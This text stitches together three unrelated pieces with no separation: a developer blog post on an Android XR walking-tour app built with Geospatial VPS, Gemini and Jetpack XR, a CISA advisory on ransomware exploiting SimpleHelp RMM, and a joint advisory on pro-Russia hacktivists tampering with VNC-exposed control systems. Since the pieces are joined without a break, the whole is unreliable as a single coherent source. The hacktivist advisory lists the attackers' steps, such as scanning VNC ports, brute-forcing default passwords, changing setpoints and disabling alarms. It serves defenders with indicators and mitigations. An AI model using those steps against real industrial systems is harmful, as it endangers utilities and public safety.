Imagine walking into a new city, putting on a pair of wired XR glasses (like the upcoming XREAL Project Aura), and instantly having a knowledgeable, local guide showing you around. You don't need to stare down at a 2D map—instead, 3D models gently guide your path, and an intelligent voice tells you about the historical landmarks right in front of you. We combined the Geospatial APIs, Gemini API using Firebase AI Logic, Google Maps Grounding, and Jetpack XR SDK to create a hands-free, immersive walking tour experience.

*Disclaimer: Video and Tour Guide application are for demonstration purposes only. Some sequences have been shortened. Any hardware depicted may be under development; final product details may differ.

Let’s walk through the implementation details and show how we tied these APIs together to build a world-scale spatial experience.

1. Pinpointing the User with ARCore Geospatial API (VPS)

Enhance your navigation experience on XR by combining the power of GPS with the precision of VPS. The accuracy and precise orientation that comes with VPS allows 3D waypoints to align with the physical world.

This is why the Geospatial API on Android XR can help you build custom experiences. By using advanced computer vision, VPS tries to provide a GeospatialPose (including latitude, longitude, and heading) that is more accurate than GPS.

Here's how we retrieve the user's Geospatial pose by mapping the device's orientation to a Geospatial coordinate:

// Retrieve the current geospatial pose from the ARCore session
val result = geospatial.createGeospatialPoseFromPose(arDevice.state.value.devicePose)
if (result is CreateGeospatialPoseFromPoseSuccess) {
    val pose = result.pose
    Log.d("VPS", "Accurate Location: ${pose.latitude}, ${pose.longitude}")
}

Because the entire experience relies on this accuracy, we monitor the horizontalAccuracy and orientationYawAccuracy until they meet our thresholds. If the user is indoors or in an unrecognized area, we prompt them to "walk to an outdoor public space and look around".

2. Crafting the Itinerary with Gemini API & Google Maps Grounding

Once we have a location, we use the Gemini API using Firebase AI Logic to prompt the Gemini model to act as a local tour guide. We pass the user's coordinates to the model and ask it to output a structured JSON response containing nearby walking tours:

   val configForTools = ToolConfig(
      functionCallingConfig = null,
      retrievalConfig = retrievalConfig {
        latLng = FirebaseLatLng(pose.latitude, pose.longitude)
        languageCode = "en"
      }
    )
    val responseJsonSchema = Schema.obj(
      mapOf(
        "locationIntro" to Schema.string(),
        "tours" to Schema.array(
          Schema.obj(
            mapOf(
              "title" to Schema.string(),
              "description" to Schema.string(),
              "stops" to Schema.array(
                Schema.obj(
                  mapOf(
                    "name" to Schema.string(),
                    "detailedName" to Schema.string(),
                    "description" to Schema.string()
                  )
                )
              )
            )
          )
        )
      )
    )
    val model = Firebase.ai(backend = GenerativeBackend.googleAI()).generativeModel(
      modelName = "gemini-3.5-flash",
      tools = listOf(Tool.googleMaps()),
      generationConfig = generationConfig {
        responseMimeType = "application/json"
        responseSchema = responseJsonSchema
      }
    )
   val result = model.generateContent("The user is at latitude ${pose.latitude} and longitude ${pose.longitude}. Generate exactly 3 diverse tours near this location (e.g., historical, food, nature). All tour ideas should be walking distance only.")

Large Language Models are great at generating rich descriptions, but they can sometimes hallucinate exact latitude/longitude coordinates. To solve this, we used Google Maps Grounding to ground the AI.

3. A Voice to Guide You: Gemini 2.5 TTS

To make the tour guide feel truly present, we implemented dynamic voiceovers.

Using the gemini-2.5-flash-tts model, we can configure our model generation config to natively return audio data instead of just text! Here’s how you can request the ResponseModality.AUDIO:

val ttsModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-2.5-flash-tts",
        generationConfig = generationConfig {
            // Instruct the model to return Audio
            responseModalities = listOf(ResponseModality.AUDIO)
        }
    )
val response = ttsModel.generateContent("Say in a neutral but positive voice:\n$prompt")
// Extract the raw audio bytes from the response
val audioBytes = response.candidates.firstOrNull()?.content?.parts
    ?.filterIsInstance()
    ?.firstOrNull { it.mimeType.contains("audio") }?.inlineData

4. Bringing it to Life in 3D with Jetpack XR

The final piece of the puzzle is rendering this data in the user's field of view. The Jetpack XR SDK makes it intuitive to transition from a 2D Android UI to spatial computing.

We used Jetpack Compose for XR to build spatial components. To represent points of interest along the tour, we built a Composable called InfoSphere, which contains a GltfModel of a 3D orb that floats in space and can be interacted with to reveal information.

Using Jetpack XR SDK, we can place 3D models alongside the Compose UI using SpatialBox and SceneCoreEntity. We also used InteractableComponent to respond to user taps.

@Composable
fun InfoSphere(
    content: InfoBubbleContent,
    session: Session,
    sphereModel: GltfModel,
    isSelected: Boolean,
    onClick: () -> Unit
) {
    // SpatialBox lets us arrange 3D components and SpatialPanels together
    SpatialBox(
        SubspaceModifier
            .offset(x = 2.dp, y = 1.dp, z = (-3).dp) // Positioned in 3D space
    ) {
        // Smoothly animate the visibility of our 2D Compose UI Panel
        AnimatedSpatialVisibility(visible = isSelected) {
            SpatialPanel {
                InfoBubble(content) // Regular 2D Compose UI
            }
        }
        // Render our interactive 3D sphere
        SceneCoreEntity(
            factory = {
                GltfModelEntity.create(session, sphereModel).also { entity ->
                    // Make the 3D model respond to user taps
                    entity.addComponent(InteractableComponent.create(session) { inputEvent ->
                        if (inputEvent.action == InputEvent.Action.UP) {
                            onClick()
                        }
                    })
                }
            }
        )
    }
}

By combining AnimatedSpatialVisibility for traditional Compose UI surfaces with SceneCoreEntity 3D elements, we're able to seamlessly blend data into the physical world.

Explore what’s possible with Android XR today

Building the XR Geospatial Tour app showed us that the barrier to entry for world-scale spatial experiences is lower than ever for Android developers. With the Geospatial API now available in preview on Android XR, your apps can seamlessly understand the physical world around them. By combining Compose for XR’s APIs with the high-precision location data of VPS and the generative capabilities of Gemini, we can create experiences that understand both where the user is and what they are looking at.

To help you get hands-on with Android XR, we are thrilled to open applications for the Android XR Developer Catalyst Program, which includes XREAL Project Aura. Starting today, you can apply to get access to an XREAL Project Aura devkit or our display glasses devkit over the coming months!

Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider

Sat, 25 Jul 2026 09:19:52 +0200

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file /SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

Isolate the SimpleHelp server instance from the internet or stop the server process.
Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

Windows: %APPDATA%\JWrapper-Remote Access
Linux: /opt/JWrapper-Remote Access
MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in /JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with indicate the server addresses where the service is registered.


SimpleHelp Server
Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.
If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

 Refer to SimpleHelp’s guidance to determine compromise and next steps.³
Isolate the SimpleHelp server instance from the internet or stop the server process.
Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.
Encrypted Downstream Customers and End Users
If a system has been encrypted by ransomware:

Disconnect the affected system from the internet.
Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).
Proactive Mitigations to Reduce Risk
To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

Maintain a robust asset inventory and hardware list [CPG 1.A].
Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.

An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.



Resources

Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
CISA: #StopRansomware Guide

Reporting
Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.
FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.
Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.
CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).
SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.
Version History
June 12, 2025: Initial version.
Notes
1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.



Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
Sat, 25 Jul 2026 09:15:46 +0200
Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.
FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Department of Defense Cyber Crime Center (DC3)
Europol European Cybercrime Centre (EC3)
EUROJUST – European Union Agency for Criminal Justice Cooperation
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Canadian Centre for Cyber Security (Cyber Centre)
Canadian Security Intelligence Service (CSIS)
Czech Republic Military Intelligence (VZ)
Czech Republic National Cyber and Information Security Agency (NÚKIB)
Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
French National Cybercrime Unit – Gendarmerie Nationale (UNC)
French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
German Federal Office for Information Security (BSI)
Italian State Police (PS)
Latvian State Police (VP)
Lithuanian Criminal Police Bureau (LKPB)
New Zealand National Cyber Security Centre (NCSC-NZ)
Romanian National Police (PR)
Spanish Civil Guard (GC)
Spanish National Police (CNP)
Swedish Polisen (SC3)
United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.
The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.
Download the PDF version of this report:






    
    Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure
    (PDF,       1.53 MB
  )
  

Background and Development of Pro-Russia Hacktivist Groups
Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.
Cyber Army of Russia Reborn
The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.
In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.
CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.
In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.
The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.
NoName057(16)
The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.
Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 
In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.
Z-Pentest
Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.
Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.
Sector16
Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.
Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
TTP Overview
Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.
Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.
Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.
Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:

Modify usernames/passwords [T0892];
Modify parameters [T0836];
Modify device name [T0892];
Modify instrument settings [T0831];
Disable alarms [T0878];
Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
Device restart or shutdown [T0816].


Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation
To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.
Reconnaissance and Initial Access
The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.
Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.
Impact
While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.
Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.
MITRE ATT&CK Tactics and Techniques
See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.


Table 1. Reconnaissance


Technique Title
ID
Use




Gather Victim Organization Information
T1591
Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.


Active Scanning: Vulnerability Scanning
T1595.002
Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.




Table 2. Resource Development


Technique Title
ID
Use




Acquire Infrastructure: Virtual Private Server
T1583.003
Threat actors use virtual infrastructure to obfuscate identifiers.




Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
Threat actors gain access through less secure HMI devices exposed to the internet.




Table 4. Persistence


Technique Title
ID
Use




Valid Accounts
T0859
Threat actors use password guessing tools to access legitimate accounts on the HMI devices.




Table 5. Credential Access


Technique Title
ID
Use




Brute Force: Password Spraying
T1110.003
Threat actors use tools to rapidly guess common or simple passwords.




Table 6. Lateral Movement


Technique Title
ID
Use




Default Credentials
T0812
Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.


Remote Services
T0886
Threat actors leverage VNC services to access system HMI devices.


Remote Services: VNC
T1021.005
Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.




Table 7. Execution


Technique Title
ID
Use




Graphical User Interface
T0823
Threat actors interact with HMI devices via GUIs, attempting to modify control devices.




Table 8. Inhibit Response Function


Technique Title
ID
Use




Device Restart/Shutdown
T0816
While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.


Alarm Suppression
T0878
Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.


Change Credential
T0892
Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.




Table 9. Impair Process Control


Technique Title
ID
Use




Modify Parameter
T0836
Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.


Unauthorized Command Message
T0855
Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.




Table 10. Impact


Technique Title
ID
Use




Loss of Productivity and Revenue
T0828
Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.


Loss of View
T0829
Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. 


Manipulation of Control
T0831
Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  



Incident Response
If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations
OT Asset Owners and Operators
The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].

Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.

Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.




Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].

Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.

Keep VNC systems updated with the latest version available.


Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.


Ensure OT assets use robust authentication procedures.

Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.


Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
